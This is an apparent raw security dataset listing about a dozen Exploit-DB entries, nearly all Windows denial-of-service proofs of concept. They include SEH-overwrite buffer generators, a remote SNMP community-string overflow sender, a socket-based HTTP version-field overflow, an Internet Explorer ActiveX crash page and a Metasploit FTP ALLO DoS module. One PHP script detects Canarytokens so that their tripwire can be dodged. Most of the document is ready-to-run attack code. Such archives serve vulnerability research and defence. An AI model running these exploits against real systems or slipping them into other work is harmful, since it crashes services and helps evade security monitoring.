deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48697
Description: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
Type: dos
Platform: windows
Date: 2020-07-26
Author: Felipe Winsnes

Exploit:
# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
# Version: 3.5
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and 
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.

# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.

buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000

try:
    f = open ("poc.txt", "w")
    f.write(buffer)
    f.close()
    print "[+] The file has been created successfully!"

except:
    print "[!] There has been an error while creating the file."
Exploit-DB #24743
Description: Cam2pc 4.6.2 - '.BMP' Image Processing Integer Overflow
Type: dos
Platform: windows
Date: 2013-03-13
Author: coolkaveh

Exploit:
Application:  Cam2pc BMP Image Processing Integer Overflow Vulnerability
Platforms:    Windows
Vendor  : http://www.nabocorp.co
Versions :    The vulnerability is confirmed in version 4.6.2 Freeware
Edition Other versions may also be affected.
Date     :    2013-03-13
Contact  :    kavehghaemmaghami@googlemail.com
Twitter  :    @coolkaveh
tested   :    Windows XP SP3 ENG
Discovered by   :coolkaveh

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1) Introduction
2) Report Timeline
3) Technical details
4) POC


------------------------------------------------------------------------------------------------------------------------------------------------------------------------

===============
1) Introduction
===============

Cam2pc is the tool for digital camera: from picture download to
browsing and viewing, cam2pc has all
The features to ease digital imaging life. Editing images, and manage
all the processes
(rotate, zoom, adjust brightness and contrast, fix red eyes). Browse
and fine your media files, view
Images and videos, transfer photos from digital camera, produce fun
content out of your favorite images:
Make Web albums, galleries, and slideshows.

(http://www.nabocorp.com/)

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

============================
2) Report Timeline
============================

2013-01-15: Vulnerability reported to vendor
No response has been received
2013-02-05: Vulnerability reported again to vendor
No response has been received
2013-02-26: Vulnerability reported again to vendor
No response has been received
2013-03-13: Public Disclosure

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

============================
3) Technical details
============================
The vulnerability is caused due to an integer overflow error in the
cam2pc.exe When allocating memory
For BITMAP INFO HEADER (biHeight) values. This can be exploited to cause
a heap-based buffer overflow
Via a specially crafted BMP,JPG,TIF file.

Successful exploitation may allow execution of arbitrary code, but
requires tricking a user into opening a malicious file.

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

===========
4) POC
===========

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24743.rar

Password for attached rar file is 123
Exploit-DB #46589
Description: Canarytokens 2019-03-01 - Detection Bypass
Type: dos
Platform: windows
Date: 2019-03-21
Author: Benjamin Zink Loft_ Gionathan Reale

Exploit:
## Exploit Title: Canarytokens 2019-03-01 - Detection Bypass
# Date: 20.03.2019
# Exploit Author: Benjamin Zink Loft, Gionathan "John" Reale 
# Vendor Homepage: https://thinkst.com/
# Version: up to 2019-03-01
# Software Link: https://github.com/thinkst/canarytokens
# Google Dork: N/A 
# CVE: 2019-9768 
#==================================================================================================================================================================================
# PoC:
#
#
#
# Requires unzip:
#
# sudo apt-get install unzip
#
#


<?php
 
system('unzip ' . $argv[1] . '.docx');
 
system('cp ' . $argv[1] . '.docx ./docProps/' . $argv[1] . '.docx && cd docProps');
 
$strFile = file_get_contents("docProps/core.xml");
 
if(strpos($strFile, 'AAAAAAAAAAAAAAAA')!=false && strpos($strFile, '2015-07-21')!=false && filesize( $argv[1] .".docx") < 170000 )
{
     echo "This file probably contains a CanaryToken! Open it with Libreoffice/Microsoft Word Protected View to bypass detection";
}
else
{
     echo "Should be safe to open normally";
}
?>
Exploit-DB #8971
Description: Carom3D 5.06 - Unicode Buffer Overrun/Denial of Service
Type: dos
Platform: windows
Date: 2009-06-16
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Title: Carom3D 5.06 Unicode Buffer Overrun/Denial Of Service Vulnerability
#
#
# Summary: Carom 3D is an online multi-user billiard game created with special
#	   3D graphic effects bringing every aspect such as 6 ball, 9 ball, 8
#	   ball and other Billiard games to life.
#
# Product Web Page: http://www.carom3d.com/
#
# Description: The world famous korean game Carom3D suffers from a buffer overflow
#	       and a denial of service vulnerability. The BoF is triggered at
#	       runtime when we append 218 > bytes as an argument. ~1000 bytes
#	       overwrites SEH. The denial of service is triggered when a user
#	       creates a LAN Game (cred. needed), creates a room and awaits
#	       other players to join the game. While awaiting (listening on port
#	       28012), with a simple HTTP GET/POST, an attacker can lockdown
#	       the GUI of the user created the room, not alowing to start or
#	       even exit the game's GUI, unless forced quit (X).
#
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 15.06.2009
#

# ----------------------------------DoS---------------------------------- #

use LWP::Simple;

my $url = 'http://192.168.1.3:28012';
my $lockdown = get $url;
die "Couldn't get $url" unless defined $lockdown;

# You can Ctrl+C, the lockdown is ON.

# ---------------------------------/DoS---------------------------------- #





###########################################################################





# ----------------------------------BoF---------------------------------- #

# Added 217 bytes as argument = runs normally.
# Added 218 bytes as argument triggers the MS VC++ Runtime Library
# 'Buffer Overrun' error msg box informing us that the program's
# internal state is corrupted.

system('C:\\Progra~1\\Neoact\\Carom3D\\carom.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

# ---------------------------------/BoF---------------------------------- #

# milw0rm.com [2009-06-16]
Exploit-DB #7099
Description: Castle Rock Computing SNMPc < 7.1.1 - 'Community' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-12
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

################################################################################################################
#    Stack-based buffer overflow in the Network Manager in Castle Rock Computing SNMPc 7.1 and
#    earlier allows remote attackers to cause a denial of service (crash) or execute arbitrary code
#    via a long community string in an SNMP TRAP packet.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?execution=e3s1
#    https://www.securityfocus.com/bid/28990/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("Enter the IP Adress of Vulnerable SNMP Manager ");
$host_vulnerable = <STDIN>;
$port = 162;
$community = "D" x 19500;

($session, $error) = Net::SNMP->session(
                                               -hostname      => $host_vulnerable,
                                               -port          => $port,
                                               -community     => $community,   # v1/v2c
                                             -maxmsgsize    => 65535,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$ipaddress = "172.16.16.4";
#Throwing an error without Agent so randomly assigned value to $ipaddress

$result = $session->trap(
                              -agentaddr       => $ipaddress,
                           );

if (!defined($result))
{
     printf("ERROR: %s.\n", $session->error);
     $session->close;
     exit 1;
}

$session->close;

# milw0rm.com [2008-11-12]
Exploit-DB #19664
Description: Cat Soft Serv-U FTP Server 2.5a - SITE PASS Denial of Service
Type: dos
Platform: windows
Date: 1999-12-02
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/859/info

If the Serv-U FTP server receives an overly long argument to the SITE PASS command, it will crash. To issue this command, an attacker must be already logged in as an authenticated user, including an 'anonymous' user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19664.zip
Exploit-DB #3142
Description: CCRP Folder Treeview Control (ccrpftv6.ocx) - IE Denial of Service
Type: dos
Platform: windows
Date: 2007-01-17
Author: shinnai

Exploit:
<!--
-------------------------------------------------------------------------------
CCRP Folder Treeview Control (ccrpftv6.ocx) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-------------------------------------------------------------------------------
-->

<html>
<object classid='clsid:19B7F2D6-1610-11D3-BF30-1AF820524153' id='CCRP' ></object>
<script language='vbscript'>

argCount = 1

arg1=String(2000000, "A")

CCRP.RootFolder = arg1

</script>

<script language='javascript'>
 document.location.reload()
</script>

# milw0rm.com [2007-01-17]
Exploit-DB #9814
Description: CDBurnerXP 4.2.4.1351 - Local Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2009-09-25
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

####################################################################################
#
# CDBurnerXP v 4.2.4.1351 Local Crash PoC
# Found By:	Dr_IDE
# Tested On:	XPSP3, 7RC
# Usage:	Create New Data Disc, Add a Folder, Paste to Rename Folder, Click Save Compilation as ISO
# Notes:	Super lame and most likely not exploitable.
#
####################################################################################

'''
Error Message:
System.NullReferenceException: Object reference not set to an instance of an object.
   at CDBurnerXP.Controls.FileLayoutManager.SaveAsIso(String filename)
   at CDBurnerXP_Pro.frmDataCompilation.mnuSaveISO_Click(Object sender, EventArgs e)
   at System.Windows.Forms.MenuItem.OnClick(EventArgs e)
   at System.Windows.Forms.MenuItem.MenuItemData.Execute()
   at System.Windows.Forms.Command.Invoke()
   at System.Windows.Forms.Command.DispatchID(Int32 id)
   at System.Windows.Forms.Control.WmCommand(Message& m)
   at System.Windows.Forms.Control.WndProc(Message& m)
   at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
   at System.Windows.Forms.ContainerControl.WndProc(Message& m)
   at System.Windows.Forms.Form.WndProc(Message& m)
   at CDBurnerXP.Forms.BaseForm.WndProc(Message& m)
   at CDBurnerXP_Pro.mdiMain.WndProc(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
'''

buff = ("\x41" * 5000)

f1 = open("cdburnerxp.txt","w")
f1.write(buff)
f1.close()
Exploit-DB #29896
Description: Cdelia Software ImageProcessing - '.BMP' File Denial of Service
Type: dos
Platform: windows
Date: 2007-04-24
Author: Dr.Ninux

Exploit:
/*
source: https://www.securityfocus.com/bid/23629/info

Cdelia Software ImageProcessing is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 
*/

/*
**********************************
## Exploit Coded By Dr.Ninux ##
##       www.LeZr.com        ##
##  LeZr.com Security Team   ##
##    Dr.Ninux@bsdmail.org   ##
**********************************
## 24 April 2007 , Tuesday
## This exploit will create an image (bmp)
## try to open it with "ImageProcessing" from Cdelia Software co.
## then the program will be die...!
**********************************
##
## grEEts to:
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
##
*/

#include <stdio.h
#include <stdlib.h

#define INV_PIC "die.bmp"

int main()
{

      int i=0;
      char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
      FILE* inv_pic;

      printf("\t\t**********************************\n");
      printf("\t\t  ## Exploit Coded By Dr.Ninux ##\n");
      printf("\t\t  ##       www.LeZr.com        ##\n");
      printf("\t\t  ##  LeZr.com Security Team   ##\n");
      printf("\t\t  ##    Dr.Ninux@bsdmail.org   ##\n");
      printf("\t\t**********************************\n");
      printf("\n");

      if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
      {
              printf("error:foepn().\n");
              exit(0);
      }

      printf("[+]Creating |invalid picture| ... plz wait.\n");

      for(i=0;i<sizeof(inv_);i++)
      {
              fputc(inv_[i],inv_pic);
      }

      fclose(inv_pic);
      printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);

      return 0;
}
Exploit-DB #43352
Description: CDex 1.96 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-12-18
Author: bzyo

Exploit:
#!/usr/bin/python
 
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: CDex 1.96  - Local Stack Buffer Overflow
# Date: 17-12-2017
# Vulnerable Software: CDex 1.96 (Unicode Build)
# Vendor Homepage: http://cdex.mu/
# Version: v1.96
# Software Link: http://cdex.mu/?q=download
# Tested On: Windows 7 x32
#
#
# PoC: generate crash.txt, open app, go to options, settings, encoding, tags, paste crash.txt contents in picture text
#
# app crashes; 00420042 Pointer to next SEH record; no unicode ppr pointers
#


file="crash.txt"

crash = "A"*520 + "B"*4  		#seh
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Exploit-DB #11977
Description: CDTrustee - '.BAK' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-03-31
Author: anonymous

Exploit:
# Exploit Title: CDTrustee .BAK Local Crash POC
# Date: March 30, 2010 
# Software Link: [http://www.base40.com/cdtDownload.html]
# Version: 2.06
# Tested on: WinXP SP3 and Windows 7
# Cost: 39.95 USD
# Author: [anonymous]
# Site: [http://www.setfreesecurity.com]
#
#
# Usage: Install software, run this script it will create
# CDTrustBackup.BAK, the file must be this name to restore.
# Click File -> Restore Backup File -> Locate CDTrustBackup.BAK
# Click OK -> OK -> OK -> Restore Complete -> OK
# Click on Playlist Menu At Top (Or almost any other Menu -> Sub Menu or button)
# Crash will occur, Thats all for now! 
#
# For to be carnally minded is death; but to be spiritually minded is life and peace.
# Rom. 8:6
# Greetz: GOD, TS aka br34dcrumbs, and This Coffee that I'm drinking
# Thanks to the Exploit-DB crew for the inspiration
#
#
#!/usr/bin/perl

print "Creating CDTrustBackup.BAK file\n";

my $bak = "\x41";
my $file = "CDTrustBackup.BAK";

open (FILE, ">$file");
print FILE "$bak";

print "Usage: File -> Restore Backup File -> Locate CDTrustBackup.BAK\n";
print "Click on Playlist Menu\n";
print "BOOM!\n"
Exploit-DB #23234
Description: Centrinity FirstClass HTTP Server 5.50/5.77/7.0/7.1 - Long Version Field Denial of Service
Type: dos
Platform: windows
Date: 2003-10-08
Author: I2S-LaB

Exploit:
// source: https://www.securityfocus.com/bid/8793/info

A problem has been reported in the handling of overly long HTTP version string data by Centrinity FirstClass. Because of this, it may be possible for an attacker deny service to legitimate users of a vulnerable system. This may be due to an exploitable boundary condition error, though this is not confirmed.

/*******************************************
 * FirstClass Internet Services Remote DoS *
 *******************************************

discovered & coded by I2S-LAB

 --------------------------------------------

This exploit uses a ptr overflow to remotely
shutdown the Internet Services of FirstClass.


  CONTACT
  _______

  Fred CHAVEROT : fred[at]I2S-LAB.com
  Aur=E9lien BOUDOUX : aurelien[at]I2S-LAB.com


  URL : http://www.I2S-LaB.com

 *******************************************/


#include <windows.h>
#include <winsock.h>
#pragma comment (lib,"wsock32.lib")

#define PerfectOverwrite 246

void main (int argc, char *argv[])
{

int len;
SOCKET sock1;
SOCKADDR_IN sin;
char *sav;

WSADATA wsadata;
WORD wVersionRequested = MAKEWORD (2,0);

printf ("- FirsClass Internet Services Remote DoS -\n\n"
"Discovered & coded by I2S-LAB\n"
"http://www.I2S-LaB.com\n\n");


if (!argv[1])
{
printf ("Usage : %s <IP Address>\n", argv[0]);
ExitProcess (0);
}

if (WSAStartup(wVersionRequested, &wsadata) ) ExitProcess (0);

if (!(sav = (char *) LocalAlloc (LPTR, 20 + PerfectOverwrite)) )
{
printf ("Error ! cannot allocate enough memory.\n");
ExitProcess (0);
};

lstrcat (sav, "GET / HTTP/1.1");
memset (&sav[14], 'A', PerfectOverwrite - 4);
lstrcat (sav,"DDDD\r\n\r\n");

sin.sin_family = AF_INET;
sin.sin_port = htons (80);

if ( (sin.sin_addr.s_addr=inet_addr (argv[1])) == INADDR_NONE)
{
printf ("Incorrect IP Address : %s\n", argv[1]);
ExitProcess(0);
}

sock1 = socket (AF_INET, SOCK_STREAM, 0);

printf ("\nconnecting to %s...", argv[1]);

if ( connect (sock1,(SOCKADDR *)&sin, sizeof (sin)) == SOCKET_ERROR )
printf ("connection failed!\n");

else
{
printf ("ok!\nSending crafted request...");

send (sock1,sav, PerfectOverwrite + 18,0);
puts ("ok!");
}

closesocket (sock1);
}
Exploit-DB #9515
Description: Cerberus FTP 3.0.1 - 'ALLO' Remote Overflow Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2009-08-25
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  Cerberus FTP 3.0.1
            
Platforms:    Windows XP Professional SP2

crash:	      N/A
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details
3) The Code


#####################################################################################

===============
1) Introduction

===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

#####################################################################################

============================
2) Technical details 
============================

The validation of some ftp commands are not made by the server. This lead to a a DoS.... 



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Ftp
	include Msf::Auxiliary::Dos
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Cerberus FTP command ALLO overflow',
			'Description'    => %q{
				 You need to have a valid login
				so you can run ALLO command.
			},
			'Author'         => 'Francis Provencher "Protek Research Lab's",
			'License'        => MSF_LICENSE,
			'Version'        => '1',
			'References'     =>
				
			'DisclosureDate' => 'Aug 24 2009'))

		# They're required
		register_options([
			OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
			OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
		])
	end

	def run
		return unless connect_login

		print_status("Sending commands...")

		# We want to try to wait for responses to these
		raw_send("ALLO #{'A' * 20000}\r\n")
		raw_send("ALLO #{'A' * 20000}\r\n")

		disconnect
	end
end


#####################################################################################

# milw0rm.com [2009-08-25]